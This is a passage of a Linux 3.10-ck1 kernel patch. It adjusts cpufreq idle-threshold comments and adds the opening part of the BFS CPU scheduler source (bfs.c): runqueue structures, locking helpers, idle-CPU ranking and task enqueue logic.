+@@ -160,10 +160,10 @@
+ }
+ 
+ /*
+- * Every sampling_rate, we check, if current idle time is less than 20%
++ * Every sampling_rate, we check, if current idle time is less than 37%
+  * (default), then we try to increase frequency. Every sampling_rate, we look
+  * for the lowest frequency which can sustain the load while keeping idle time
+- * over 30%. If such a frequency exist, we try to decrease to this frequency.
++ * over 63%. If such a frequency exist, we try to decrease to this frequency.
+  *
+  * Any frequency increase takes it to the maximum frequency. Frequency reduction
+  * happens at minimum steps of 5% (default) of current frequency
+Index: linux-3.10-ck1/kernel/sched/bfs.c
+===================================================================
+--- /dev/null	1970-01-01 00:00:00.000000000 +0000
++++ linux-3.10-ck1/kernel/sched/bfs.c	2013-07-09 17:29:00.843501924 +1000
+@@ -0,0 +1,7423 @@
++/*
++ *  kernel/sched/bfs.c, was kernel/sched.c
++ *
++ *  Kernel scheduler and related syscalls
++ *
++ *  Copyright (C) 1991-2002  Linus Torvalds
++ *
++ *  1996-12-23  Modified by Dave Grothe to fix bugs in semaphores and
++ *		make semaphores SMP safe
++ *  1998-11-19	Implemented schedule_timeout() and related stuff
++ *		by Andrea Arcangeli
++ *  2002-01-04	New ultra-scalable O(1) scheduler by Ingo Molnar:
++ *		hybrid priority-list and round-robin design with
++ *		an array-switch method of distributing timeslices
++ *		and per-CPU runqueues.  Cleanups and useful suggestions
++ *		by Davide Libenzi, preemptible kernel bits by Robert Love.
++ *  2003-09-03	Interactivity tuning by Con Kolivas.
++ *  2004-04-02	Scheduler domains code by Nick Piggin
++ *  2007-04-15  Work begun on replacing all interactivity tuning with a
++ *              fair scheduling design by Con Kolivas.
++ *  2007-05-05  Load balancing (smp-nice) and other improvements
++ *              by Peter Williams
++ *  2007-05-06  Interactivity improvements to CFS by Mike Galbraith
++ *  2007-07-01  Group scheduling enhancements by Srivatsa Vaddagiri
++ *  2007-11-29  RT balancing improvements by Steven Rostedt, Gregory Haskins,
++ *              Thomas Gleixner, Mike Kravetz
++ *  now		Brainfuck deadline scheduling policy by Con Kolivas deletes
++ *              a whole lot of those previous things.
++ */
++
++#include <linux/mm.h>
++#include <linux/module.h>
++#include <linux/nmi.h>
++#include <linux/init.h>
++#include <asm/uaccess.h>
++#include <linux/highmem.h>
++#include <asm/mmu_context.h>
++#include <linux/interrupt.h>
++#include <linux/capability.h>
++#include <linux/completion.h>
++#include <linux/kernel_stat.h>
++#include <linux/debug_locks.h>
++#include <linux/perf_event.h>
++#include <linux/security.h>
++#include <linux/notifier.h>
++#include <linux/profile.h>
++#include <linux/freezer.h>
++#include <linux/vmalloc.h>
++#include <linux/blkdev.h>
++#include <linux/delay.h>
++#include <linux/smp.h>
++#include <linux/threads.h>
++#include <linux/timer.h>
++#include <linux/rcupdate.h>
++#include <linux/cpu.h>
++#include <linux/cpuset.h>
++#include <linux/cpumask.h>
++#include <linux/percpu.h>
++#include <linux/proc_fs.h>
++#include <linux/seq_file.h>
++#include <linux/syscalls.h>
++#include <linux/times.h>
++#include <linux/tsacct_kern.h>
++#include <linux/kprobes.h>
++#include <linux/delayacct.h>
++#include <linux/log2.h>
++#include <linux/bootmem.h>
++#include <linux/ftrace.h>
++#include <linux/slab.h>
++#include <linux/init_task.h>
++#include <linux/binfmts.h>
++#include <linux/context_tracking.h>
++
++#include <asm/switch_to.h>
++#include <asm/tlb.h>
++#include <asm/unistd.h>
++#include <asm/mutex.h>
++#ifdef CONFIG_PARAVIRT
++#include <asm/paravirt.h>
++#endif
++
++#include "cpupri.h"
++#include "../workqueue_internal.h"
++#include "../smpboot.h"
++
++#define CREATE_TRACE_POINTS
++#include <trace/events/sched.h>
++
++#define rt_prio(prio)		unlikely((prio) < MAX_RT_PRIO)
++#define rt_task(p)		rt_prio((p)->prio)
++#define rt_queue(rq)		rt_prio((rq)->rq_prio)
++#define batch_task(p)		(unlikely((p)->policy == SCHED_BATCH))
++#define is_rt_policy(policy)	((policy) == SCHED_FIFO || \
++					(policy) == SCHED_RR)
++#define has_rt_policy(p)	unlikely(is_rt_policy((p)->policy))
++#define idleprio_task(p)	unlikely((p)->policy == SCHED_IDLEPRIO)
++#define iso_task(p)		unlikely((p)->policy == SCHED_ISO)
++#define iso_queue(rq)		unlikely((rq)->rq_policy == SCHED_ISO)
++#define rq_running_iso(rq)	((rq)->rq_prio == ISO_PRIO)
++
++#define ISO_PERIOD		((5 * HZ * grq.noc) + 1)
++
++/*
++ * Convert user-nice values [ -20 ... 0 ... 19 ]
++ * to static priority [ MAX_RT_PRIO..MAX_PRIO-1 ],
++ * and back.
++ */
++#define NICE_TO_PRIO(nice)	(MAX_RT_PRIO + (nice) + 20)
++#define PRIO_TO_NICE(prio)	((prio) - MAX_RT_PRIO - 20)
++#define TASK_NICE(p)		PRIO_TO_NICE((p)->static_prio)
++
++/*
++ * 'User priority' is the nice value converted to something we
++ * can work with better when scaling various scheduler parameters,
++ * it's a [ 0 ... 39 ] range.
++ */
++#define USER_PRIO(p)		((p) - MAX_RT_PRIO)
++#define TASK_USER_PRIO(p)	USER_PRIO((p)->static_prio)
++#define MAX_USER_PRIO		(USER_PRIO(MAX_PRIO))
++#define SCHED_PRIO(p)		((p) + MAX_RT_PRIO)
++#define STOP_PRIO		(MAX_RT_PRIO - 1)
++
++/*
++ * Some helpers for converting to/from various scales. Use shifts to get
++ * approximate multiples of ten for less overhead.
++ */
++#define JIFFIES_TO_NS(TIME)	((TIME) * (1000000000 / HZ))
++#define JIFFY_NS		(1000000000 / HZ)
++#define HALF_JIFFY_NS		(1000000000 / HZ / 2)
++#define HALF_JIFFY_US		(1000000 / HZ / 2)
++#define MS_TO_NS(TIME)		((TIME) << 20)
++#define MS_TO_US(TIME)		((TIME) << 10)
++#define NS_TO_MS(TIME)		((TIME) >> 20)
++#define NS_TO_US(TIME)		((TIME) >> 10)
++
++#define RESCHED_US	(100) /* Reschedule if less than this many μs left */
++
++void print_scheduler_version(void)
++{
++	printk(KERN_INFO "BFS CPU scheduler v0.440 by Con Kolivas.\n");
++}
++
++/*
++ * This is the time all tasks within the same priority round robin.
++ * Value is in ms and set to a minimum of 6ms. Scales with number of cpus.
++ * Tunable via /proc interface.
++ */
++int rr_interval __read_mostly = 6;
++
++/*
++ * sched_iso_cpu - sysctl which determines the cpu percentage SCHED_ISO tasks
++ * are allowed to run five seconds as real time tasks. This is the total over
++ * all online cpus.
++ */
++int sched_iso_cpu __read_mostly = 70;
++
++/*
++ * The relative length of deadline for each priority(nice) level.
++ */
++static int prio_ratios[PRIO_RANGE] __read_mostly;
++
++/*
++ * The quota handed out to tasks of all priority levels when refilling their
++ * time_slice.
++ */
++static inline int timeslice(void)
++{
++	return MS_TO_US(rr_interval);
++}
++
++/*
++ * The global runqueue data that all CPUs work off. Data is protected either
++ * by the global grq lock, or the discrete lock that precedes the data in this
++ * struct.
++ */
++struct global_rq {
++	raw_spinlock_t lock;
++	unsigned long nr_running;
++	unsigned long nr_uninterruptible;
++	unsigned long long nr_switches;
++	struct list_head queue[PRIO_LIMIT];
++	DECLARE_BITMAP(prio_bitmap, PRIO_LIMIT + 1);
++#ifdef CONFIG_SMP
++	unsigned long qnr; /* queued not running */
++	cpumask_t cpu_idle_map;
++	bool idle_cpus;
++#endif
++	int noc; /* num_online_cpus stored and updated when it changes */
++	u64 niffies; /* Nanosecond jiffies */
++	unsigned long last_jiffy; /* Last jiffy we updated niffies */
++
++	raw_spinlock_t iso_lock;
++	int iso_ticks;
++	bool iso_refractory;
++};
++
++#ifdef CONFIG_SMP
++
++/*
++ * We add the notion of a root-domain which will be used to define per-domain
++ * variables. Each exclusive cpuset essentially defines an island domain by
++ * fully partitioning the member cpus from any other cpuset. Whenever a new
++ * exclusive cpuset is created, we also create and attach a new root-domain
++ * object.
++ *
++ */
++struct root_domain {
++	atomic_t refcount;
++	atomic_t rto_count;
++	struct rcu_head rcu;
++	cpumask_var_t span;
++	cpumask_var_t online;
++
++	/*
++	 * The "RT overload" flag: it gets set if a CPU has more than
++	 * one runnable RT task.
++	 */
++	cpumask_var_t rto_mask;
++	struct cpupri cpupri;
++};
++
++/*
++ * By default the system creates a single root-domain with all cpus as
++ * members (mimicking the global state we have today).
++ */
++static struct root_domain def_root_domain;
++
++#endif /* CONFIG_SMP */
++
++/* There can be only one */
++static struct global_rq grq;
++
++/*
++ * This is the main, per-CPU runqueue data structure.
++ * This data should only be modified by the local cpu.
++ */
++struct rq {
++	struct task_struct *curr, *idle, *stop;
++	struct mm_struct *prev_mm;
++
++	/* Stored data about rq->curr to work outside grq lock */
++	u64 rq_deadline;
++	unsigned int rq_policy;
++	int rq_time_slice;
++	u64 rq_last_ran;
++	int rq_prio;
++	bool rq_running; /* There is a task running */
++
++	/* Accurate timekeeping data */
++	u64 timekeep_clock;
++	unsigned long user_pc, nice_pc, irq_pc, softirq_pc, system_pc,
++		iowait_pc, idle_pc;
++	atomic_t nr_iowait;
++
++#ifdef CONFIG_SMP
++	int cpu;		/* cpu of this runqueue */
++	bool online;
++	bool scaling; /* This CPU is managed by a scaling CPU freq governor */
++	struct task_struct *sticky_task;
++
++	struct root_domain *rd;
++	struct sched_domain *sd;
++	int *cpu_locality; /* CPU relative cache distance */
++#ifdef CONFIG_SCHED_SMT
++	bool (*siblings_idle)(int cpu);
++	/* See if all smt siblings are idle */
++	cpumask_t smt_siblings;
++#endif /* CONFIG_SCHED_SMT */
++#ifdef CONFIG_SCHED_MC
++	bool (*cache_idle)(int cpu);
++	/* See if all cache siblings are idle */
++	cpumask_t cache_siblings;
++#endif /* CONFIG_SCHED_MC */
++	u64 last_niffy; /* Last time this RQ updated grq.niffies */
++#endif /* CONFIG_SMP */
++#ifdef CONFIG_IRQ_TIME_ACCOUNTING
++	u64 prev_irq_time;
++#endif /* CONFIG_IRQ_TIME_ACCOUNTING */
++#ifdef CONFIG_PARAVIRT
++	u64 prev_steal_time;
++#endif /* CONFIG_PARAVIRT */
++#ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING
++	u64 prev_steal_time_rq;
++#endif /* CONFIG_PARAVIRT_TIME_ACCOUNTING */
++
++	u64 clock, old_clock, last_tick;
++	u64 clock_task;
++	bool dither;
++
++#ifdef CONFIG_SCHEDSTATS
++
++	/* latency stats */
++	struct sched_info rq_sched_info;
++	unsigned long long rq_cpu_time;
++	/* could above be rq->cfs_rq.exec_clock + rq->rt_rq.rt_runtime ? */
++
++	/* sys_sched_yield() stats */
++	unsigned int yld_count;
++
++	/* schedule() stats */
++	unsigned int sched_switch;
++	unsigned int sched_count;
++	unsigned int sched_goidle;
++
++	/* try_to_wake_up() stats */
++	unsigned int ttwu_count;
++	unsigned int ttwu_local;
++#endif /* CONFIG_SCHEDSTATS */
++};
++
++DEFINE_PER_CPU_SHARED_ALIGNED(struct rq, runqueues);
++static DEFINE_MUTEX(sched_hotcpu_mutex);
++
++#ifdef CONFIG_SMP
++#define cpu_rq(cpu)		(&per_cpu(runqueues, (cpu)))
++#define this_rq()		(&__get_cpu_var(runqueues))
++#define task_rq(p)		cpu_rq(task_cpu(p))
++#define cpu_curr(cpu)		(cpu_rq(cpu)->curr)
++/*
++ * sched_domains_mutex serialises calls to init_sched_domains,
++ * detach_destroy_domains and partition_sched_domains.
++ */
++static DEFINE_MUTEX(sched_domains_mutex);
++
++/*
++ * By default the system creates a single root-domain with all cpus as
++ * members (mimicking the global state we have today).
++ */
++static struct root_domain def_root_domain;
++
++int __weak arch_sd_sibling_asym_packing(void)
++{
++       return 0*SD_ASYM_PACKING;
++}
++#endif /* CONFIG_SMP */
++
++#define rcu_dereference_check_sched_domain(p) \
++	rcu_dereference_check((p), \
++			      lockdep_is_held(&sched_domains_mutex))
++
++/*
++ * The domain tree (rq->sd) is protected by RCU's quiescent state transition.
++ * See detach_destroy_domains: synchronize_sched for details.
++ *
++ * The domain tree of any CPU may only be accessed from within
++ * preempt-disabled sections.
++ */
++#define for_each_domain(cpu, __sd) \
++	for (__sd = rcu_dereference_check_sched_domain(cpu_rq(cpu)->sd); __sd; __sd = __sd->parent)
++
++static inline void update_rq_clock(struct rq *rq);
++
++/*
++ * Sanity check should sched_clock return bogus values. We make sure it does
++ * not appear to go backwards, and use jiffies to determine the maximum and
++ * minimum it could possibly have increased, and round down to the nearest
++ * jiffy when it falls outside this.
++ */
++static inline void niffy_diff(s64 *niff_diff, int jiff_diff)
++{
++	unsigned long min_diff, max_diff;
++
++	if (jiff_diff > 1)
++		min_diff = JIFFIES_TO_NS(jiff_diff - 1);
++	else
++		min_diff = 1;
++	/*  Round up to the nearest tick for maximum */
++	max_diff = JIFFIES_TO_NS(jiff_diff + 1);
++
++	if (unlikely(*niff_diff < min_diff || *niff_diff > max_diff))
++		*niff_diff = min_diff;
++}
++
++#ifdef CONFIG_SMP
++static inline int cpu_of(struct rq *rq)
++{
++	return rq->cpu;
++}
++
++/*
++ * Niffies are a globally increasing nanosecond counter. Whenever a runqueue
++ * clock is updated with the grq.lock held, it is an opportunity to update the
++ * niffies value. Any CPU can update it by adding how much its clock has
++ * increased since it last updated niffies, minus any added niffies by other
++ * CPUs.
++ */
++static inline void update_clocks(struct rq *rq)
++{
++	s64 ndiff;
++	long jdiff;
++
++	update_rq_clock(rq);
++	ndiff = rq->clock - rq->old_clock;
++	/* old_clock is only updated when we are updating niffies */
++	rq->old_clock = rq->clock;
++	ndiff -= grq.niffies - rq->last_niffy;
++	jdiff = jiffies - grq.last_jiffy;
++	niffy_diff(&ndiff, jdiff);
++	grq.last_jiffy += jdiff;
++	grq.niffies += ndiff;
++	rq->last_niffy = grq.niffies;
++}
++#else /* CONFIG_SMP */
++static struct rq *uprq;
++#define cpu_rq(cpu)	(uprq)
++#define this_rq()	(uprq)
++#define task_rq(p)	(uprq)
++#define cpu_curr(cpu)	((uprq)->curr)
++static inline int cpu_of(struct rq *rq)
++{
++	return 0;
++}
++
++static inline void update_clocks(struct rq *rq)
++{
++	s64 ndiff;
++	long jdiff;
++
++	update_rq_clock(rq);
++	ndiff = rq->clock - rq->old_clock;
++	rq->old_clock = rq->clock;
++	jdiff = jiffies - grq.last_jiffy;
++	niffy_diff(&ndiff, jdiff);
++	grq.last_jiffy += jdiff;
++	grq.niffies += ndiff;
++}
++#endif
++#define raw_rq()	(&__raw_get_cpu_var(runqueues))
++
++#include "stats.h"
++
++#ifndef prepare_arch_switch
++# define prepare_arch_switch(next)	do { } while (0)
++#endif
++#ifndef finish_arch_switch
++# define finish_arch_switch(prev)	do { } while (0)
++#endif
++#ifndef finish_arch_post_lock_switch
++# define finish_arch_post_lock_switch()	do { } while (0)
++#endif
++
++/*
++ * All common locking functions performed on grq.lock. rq->clock is local to
++ * the CPU accessing it so it can be modified just with interrupts disabled
++ * when we're not updating niffies.
++ * Looking up task_rq must be done under grq.lock to be safe.
++ */
++static void update_rq_clock_task(struct rq *rq, s64 delta);
++
++static inline void update_rq_clock(struct rq *rq)
++{
++	s64 delta = sched_clock_cpu(cpu_of(rq)) - rq->clock;
++
++	rq->clock += delta;
++	update_rq_clock_task(rq, delta);
++}
++
++static inline bool task_running(struct task_struct *p)
++{
++	return p->on_cpu;
++}
++
++static inline void grq_lock(void)
++	__acquires(grq.lock)
++{
++	raw_spin_lock(&grq.lock);
++}
++
++static inline void grq_unlock(void)
++	__releases(grq.lock)
++{
++	raw_spin_unlock(&grq.lock);
++}
++
++static inline void grq_lock_irq(void)
++	__acquires(grq.lock)
++{
++	raw_spin_lock_irq(&grq.lock);
++}
++
++static inline void time_lock_grq(struct rq *rq)
++	__acquires(grq.lock)
++{
++	grq_lock();
++	update_clocks(rq);
++}
++
++static inline void grq_unlock_irq(void)
++	__releases(grq.lock)
++{
++	raw_spin_unlock_irq(&grq.lock);
++}
++
++static inline void grq_lock_irqsave(unsigned long *flags)
++	__acquires(grq.lock)
++{
++	raw_spin_lock_irqsave(&grq.lock, *flags);
++}
++
++static inline void grq_unlock_irqrestore(unsigned long *flags)
++	__releases(grq.lock)
++{
++	raw_spin_unlock_irqrestore(&grq.lock, *flags);
++}
++
++static inline struct rq
++*task_grq_lock(struct task_struct *p, unsigned long *flags)
++	__acquires(grq.lock)
++{
++	grq_lock_irqsave(flags);
++	return task_rq(p);
++}
++
++static inline struct rq
++*time_task_grq_lock(struct task_struct *p, unsigned long *flags)
++	__acquires(grq.lock)
++{
++	struct rq *rq = task_grq_lock(p, flags);
++	update_clocks(rq);
++	return rq;
++}
++
++static inline struct rq *task_grq_lock_irq(struct task_struct *p)
++	__acquires(grq.lock)
++{
++	grq_lock_irq();
++	return task_rq(p);
++}
++
++static inline void time_task_grq_lock_irq(struct task_struct *p)
++	__acquires(grq.lock)
++{
++	struct rq *rq = task_grq_lock_irq(p);
++	update_clocks(rq);
++}
++
++static inline void task_grq_unlock_irq(void)
++	__releases(grq.lock)
++{
++	grq_unlock_irq();
++}
++
++static inline void task_grq_unlock(unsigned long *flags)
++	__releases(grq.lock)
++{
++	grq_unlock_irqrestore(flags);
++}
++
++/**
++ * grunqueue_is_locked
++ *
++ * Returns true if the global runqueue is locked.
++ * This interface allows printk to be called with the runqueue lock
++ * held and know whether or not it is OK to wake up the klogd.
++ */
++bool grunqueue_is_locked(void)
++{
++	return raw_spin_is_locked(&grq.lock);
++}
++
++void grq_unlock_wait(void)
++	__releases(grq.lock)
++{
++	smp_mb(); /* spin-unlock-wait is not a full memory barrier */
++	raw_spin_unlock_wait(&grq.lock);
++}
++
++static inline void time_grq_lock(struct rq *rq, unsigned long *flags)
++	__acquires(grq.lock)
++{
++	local_irq_save(*flags);
++	time_lock_grq(rq);
++}
++
++static inline struct rq *__task_grq_lock(struct task_struct *p)
++	__acquires(grq.lock)
++{
++	grq_lock();
++	return task_rq(p);
++}
++
++static inline void __task_grq_unlock(void)
++	__releases(grq.lock)
++{
++	grq_unlock();
++}
++
++/*
++ * Look for any tasks *anywhere* that are running nice 0 or better. We do
++ * this lockless for overhead reasons since the occasional wrong result
++ * is harmless.
++ */
++bool above_background_load(void)
++{
++	int cpu;
++
++	for_each_online_cpu(cpu) {
++		struct task_struct *cpu_curr = cpu_rq(cpu)->curr;
++
++		if (unlikely(!cpu_curr))
++			continue;
++		if (PRIO_TO_NICE(cpu_curr->static_prio) < 1) {
++			return true;
++		}
++	}
++	return false;
++}
++
++#ifndef __ARCH_WANT_UNLOCKED_CTXSW
++static inline void prepare_lock_switch(struct rq *rq, struct task_struct *next)
++{
++}
++
++static inline void finish_lock_switch(struct rq *rq, struct task_struct *prev)
++{
++#ifdef CONFIG_DEBUG_SPINLOCK
++	/* this is a valid case when another task releases the spinlock */
++	grq.lock.owner = current;
++#endif
++	/*
++	 * If we are tracking spinlock dependencies then we have to
++	 * fix up the runqueue lock - which gets 'carried over' from
++	 * prev into current:
++	 */
++	spin_acquire(&grq.lock.dep_map, 0, 0, _THIS_IP_);
++
++	grq_unlock_irq();
++}
++
++#else /* __ARCH_WANT_UNLOCKED_CTXSW */
++
++static inline void prepare_lock_switch(struct rq *rq, struct task_struct *next)
++{
++#ifdef __ARCH_WANT_INTERRUPTS_ON_CTXSW
++	grq_unlock_irq();
++#else
++	grq_unlock();
++#endif
++}
++
++static inline void finish_lock_switch(struct rq *rq, struct task_struct *prev)
++{
++	smp_wmb();
++#ifndef __ARCH_WANT_INTERRUPTS_ON_CTXSW
++	local_irq_enable();
++#endif
++}
++#endif /* __ARCH_WANT_UNLOCKED_CTXSW */
++
++static inline bool deadline_before(u64 deadline, u64 time)
++{
++	return (deadline < time);
++}
++
++static inline bool deadline_after(u64 deadline, u64 time)
++{
++	return (deadline > time);
++}
++
++/*
++ * A task that is queued but not running will be on the grq run list.
++ * A task that is not running or queued will not be on the grq run list.
++ * A task that is currently running will have ->on_cpu set but not on the
++ * grq run list.
++ */
++static inline bool task_queued(struct task_struct *p)
++{
++	return (!list_empty(&p->run_list));
++}
++
++/*
++ * Removing from the global runqueue. Enter with grq locked.
++ */
++static void dequeue_task(struct task_struct *p)
++{
++	list_del_init(&p->run_list);
++	if (list_empty(grq.queue + p->prio))
++		__clear_bit(p->prio, grq.prio_bitmap);
++}
++
++/*
++ * To determine if it's safe for a task of SCHED_IDLEPRIO to actually run as
++ * an idle task, we ensure none of the following conditions are met.
++ */
++static bool idleprio_suitable(struct task_struct *p)
++{
++	return (!freezing(p) && !signal_pending(p) &&
++		!(task_contributes_to_load(p)) && !(p->flags & (PF_EXITING)));
++}
++
++/*
++ * To determine if a task of SCHED_ISO can run in pseudo-realtime, we check
++ * that the iso_refractory flag is not set.
++ */
++static bool isoprio_suitable(void)
++{
++	return !grq.iso_refractory;
++}
++
++/*
++ * Adding to the global runqueue. Enter with grq locked.
++ */
++static void enqueue_task(struct task_struct *p)
++{
++	if (!rt_task(p)) {
++		/* Check it hasn't gotten rt from PI */
++		if ((idleprio_task(p) && idleprio_suitable(p)) ||
++		   (iso_task(p) && isoprio_suitable()))
++			p->prio = p->normal_prio;
++		else
++			p->prio = NORMAL_PRIO;
++	}
++	__set_bit(p->prio, grq.prio_bitmap);
++	list_add_tail(&p->run_list, grq.queue + p->prio);
++	sched_info_queued(p);
++}
++
++/* Only idle task does this as a real time task*/
++static inline void enqueue_task_head(struct task_struct *p)
++{
++	__set_bit(p->prio, grq.prio_bitmap);
++	list_add(&p->run_list, grq.queue + p->prio);
++	sched_info_queued(p);
++}
++
++static inline void requeue_task(struct task_struct *p)
++{
++	sched_info_queued(p);
++}
++
++/*
++ * Returns the relative length of deadline all compared to the shortest
++ * deadline which is that of nice -20.
++ */
++static inline int task_prio_ratio(struct task_struct *p)
++{
++	return prio_ratios[TASK_USER_PRIO(p)];
++}
++
++/*
++ * task_timeslice - all tasks of all priorities get the exact same timeslice
++ * length. CPU distribution is handled by giving different deadlines to
++ * tasks of different priorities. Use 128 as the base value for fast shifts.
++ */
++static inline int task_timeslice(struct task_struct *p)
++{
++	return (rr_interval * task_prio_ratio(p) / 128);
++}
++
++#ifdef CONFIG_SMP
++/*
++ * qnr is the "queued but not running" count which is the total number of
++ * tasks on the global runqueue list waiting for cpu time but not actually
++ * currently running on a cpu.
++ */
++static inline void inc_qnr(void)
++{
++	grq.qnr++;
++}
++
++static inline void dec_qnr(void)
++{
++	grq.qnr--;
++}
++
++static inline int queued_notrunning(void)
++{
++	return grq.qnr;
++}
++
++/*
++ * The cpu_idle_map stores a bitmap of all the CPUs currently idle to
++ * allow easy lookup of whether any suitable idle CPUs are available.
++ * It's cheaper to maintain a binary yes/no if there are any idle CPUs on the
++ * idle_cpus variable than to do a full bitmask check when we are busy.
++ */
++static inline void set_cpuidle_map(int cpu)
++{
++	if (likely(cpu_online(cpu))) {
++		cpu_set(cpu, grq.cpu_idle_map);
++		grq.idle_cpus = true;
++	}
++}
++
++static inline void clear_cpuidle_map(int cpu)
++{
++	cpu_clear(cpu, grq.cpu_idle_map);
++	if (cpus_empty(grq.cpu_idle_map))
++		grq.idle_cpus = false;
++}
++
++static bool suitable_idle_cpus(struct task_struct *p)
++{
++	if (!grq.idle_cpus)
++		return false;
++	return (cpus_intersects(p->cpus_allowed, grq.cpu_idle_map));
++}
++
++#define CPUIDLE_DIFF_THREAD	(1)
++#define CPUIDLE_DIFF_CORE	(2)
++#define CPUIDLE_CACHE_BUSY	(4)
++#define CPUIDLE_DIFF_CPU	(8)
++#define CPUIDLE_THREAD_BUSY	(16)
++#define CPUIDLE_DIFF_NODE	(32)
++
++static void resched_task(struct task_struct *p);
++
++/*
++ * The best idle CPU is chosen according to the CPUIDLE ranking above where the
++ * lowest value would give the most suitable CPU to schedule p onto next. The
++ * order works out to be the following:
++ *
++ * Same core, idle or busy cache, idle or busy threads
++ * Other core, same cache, idle or busy cache, idle threads.
++ * Same node, other CPU, idle cache, idle threads.
++ * Same node, other CPU, busy cache, idle threads.
++ * Other core, same cache, busy threads.
++ * Same node, other CPU, busy threads.
++ * Other node, other CPU, idle cache, idle threads.
++ * Other node, other CPU, busy cache, idle threads.
++ * Other node, other CPU, busy threads.
++ */
++static void
++resched_best_mask(int best_cpu, struct rq *rq, cpumask_t *tmpmask)
++{
++	unsigned int best_ranking = CPUIDLE_DIFF_NODE | CPUIDLE_THREAD_BUSY |
++		CPUIDLE_DIFF_CPU | CPUIDLE_CACHE_BUSY | CPUIDLE_DIFF_CORE |
++		CPUIDLE_DIFF_THREAD;
++	int cpu_tmp;
++
++	if (cpu_isset(best_cpu, *tmpmask))
++		goto out;
++
++	for_each_cpu_mask(cpu_tmp, *tmpmask) {
++		unsigned int ranking;
++		struct rq *tmp_rq;
++
++		ranking = 0;
++		tmp_rq = cpu_rq(cpu_tmp);
++
++#ifdef CONFIG_NUMA
++		if (rq->cpu_locality[cpu_tmp] > 3)
++			ranking |= CPUIDLE_DIFF_NODE;
++		else
++#endif
++		if (rq->cpu_locality[cpu_tmp] > 2)
++			ranking |= CPUIDLE_DIFF_CPU;
++#ifdef CONFIG_SCHED_MC
++		if (rq->cpu_locality[cpu_tmp] == 2)
++			ranking |= CPUIDLE_DIFF_CORE;
++		if (!(tmp_rq->cache_idle(cpu_tmp)))
++			ranking |= CPUIDLE_CACHE_BUSY;
++#endif
++#ifdef CONFIG_SCHED_SMT
++		if (rq->cpu_locality[cpu_tmp] == 1)
++			ranking |= CPUIDLE_DIFF_THREAD;
++		if (!(tmp_rq->siblings_idle(cpu_tmp)))
++			ranking |= CPUIDLE_THREAD_BUSY;
++#endif
++		if (ranking < best_ranking) {
++			best_cpu = cpu_tmp;
++			best_ranking = ranking;
++		}
++	}
++out:
++	resched_task(cpu_rq(best_cpu)->curr);
++}
++
++bool cpus_share_cache(int this_cpu, int that_cpu)
++{
++	struct rq *this_rq = cpu_rq(this_cpu);
++
++	return (this_rq->cpu_locality[that_cpu] < 3);
++}
++
++static void resched_best_idle(struct task_struct *p)
++{
++	cpumask_t tmpmask;
++
++	cpus_and(tmpmask, p->cpus_allowed, grq.cpu_idle_map);
++	resched_best_mask(task_cpu(p), task_rq(p), &tmpmask);
++}
++
++static inline void resched_suitable_idle(struct task_struct *p)
++{
++	if (suitable_idle_cpus(p))
++		resched_best_idle(p);
++}
++/*
++ * Flags to tell us whether this CPU is running a CPU frequency governor that
++ * has slowed its speed or not. No locking required as the very rare wrongly
++ * read value would be harmless.
++ */
++void cpu_scaling(int cpu)
++{
++	cpu_rq(cpu)->scaling = true;
++}
++
++void cpu_nonscaling(int cpu)
++{
++	cpu_rq(cpu)->scaling = false;
++}
++
++static inline bool scaling_rq(struct rq *rq)
++{
++	return rq->scaling;
++}
++
++static inline int locality_diff(struct task_struct *p, struct rq *rq)
++{
++	return rq->cpu_locality[task_cpu(p)];
++}
++#else /* CONFIG_SMP */
++static inline void inc_qnr(void)
++{
++}
++
++static inline void dec_qnr(void)
++{
++}
++
++static inline int queued_notrunning(void)
++{
++	return grq.nr_running;
++}
++
++static inline void set_cpuidle_map(int cpu)
++{
++}
++
++static inline void clear_cpuidle_map(int cpu)
++{
++}
++
++static inline bool suitable_idle_cpus(struct task_struct *p)
++{
++	return uprq->curr == uprq->idle;
++}
++
++static inline void resched_suitable_idle(struct task_struct *p)
++{
++}
++
++void cpu_scaling(int __unused)
++{
++}
++
++void cpu_nonscaling(int __unused)
++{
++}
++
++/*
++ * Although CPUs can scale in UP, there is nowhere else for tasks to go so this
++ * always returns 0.
++ */
++static inline bool scaling_rq(struct rq *rq)
++{
++	return false;
++}
++
++static inline int locality_diff(struct task_struct *p, struct rq *rq)
++{
++	return 0;
++}
++#endif /* CONFIG_SMP */
++EXPORT_SYMBOL_GPL(cpu_scaling);
++EXPORT_SYMBOL_GPL(cpu_nonscaling);
++
++/*
++ * activate_idle_task - move idle task to the _front_ of runqueue.
++ */
++static inline void activate_idle_task(struct task_struct *p)
++{
++	enqueue_task_head(p);
++	grq.nr_running++;
++	inc_qnr();
++}
++
++static inline int normal_prio(struct task_struct *p)
++{
++	if (has_rt_policy(p))
++		return MAX_RT_PRIO - 1 - p->rt_priority;
++	if (idleprio_task(p))
++		return IDLE_PRIO;
++	if (iso_task(p))
++		return ISO_PRIO;
++	return NORMAL_PRIO;
++}
++
++/*
++ * Calculate the current priority, i.e. the priority
++ * taken into account by the scheduler. This value might
++ * be boosted by RT tasks as it will be RT if the task got
++ * RT-boosted. If not then it returns p->normal_prio.
++ */
++static int effective_prio(struct task_struct *p)
++{
++	p->normal_prio = normal_prio(p);
++	/*
++	 * If we are RT tasks or we were boosted to RT priority,
++	 * keep the priority unchanged. Otherwise, update priority
++	 * to the normal priority:
++	 */
++	if (!rt_prio(p->prio))
++		return p->normal_prio;
++	return p->prio;
++}
++
++/*
++ * activate_task - move a task to the runqueue. Enter with grq locked.
++ */
++static void activate_task(struct task_struct *p, struct rq *rq)
++{
++	update_clocks(rq);
++
++	/*
++	 * Sleep time is in units of nanosecs, so shift by 20 to get a
++	 * milliseconds-range estimation of the amount of time that the task
++	 * spent sleeping:
++	 */
++	if (unlikely(prof_on == SLEEP_PROFILING)) {
++		if (p->state == TASK_UNINTERRUPTIBLE)
++			profile_hits(SLEEP_PROFILING, (void *)get_wchan(p),
++				     (rq->clock_task - p->last_ran) >> 20);
++	}
++
++	p->prio = effective_prio(p);
++	if (task_contributes_to_load(p))
++		grq.nr_uninterruptible--;
++	enqueue_task(p);
++	grq.nr_running++;
++	inc_qnr();
++}
++
++static inline void clear_sticky(struct task_struct *p);
++
++/*
++ * deactivate_task - If it's running, it's not on the grq and we can just
++ * decrement the nr_running. Enter with grq locked.
++ */
++static inline void deactivate_task(struct task_struct *p)
++{
++	if (task_contributes_to_load(p))
++		grq.nr_uninterruptible++;
++	grq.nr_running--;
++	clear_sticky(p);
++}
++
++static ATOMIC_NOTIFIER_HEAD(task_migration_notifier);
++
++void register_task_migration_notifier(struct notifier_block *n)
++{
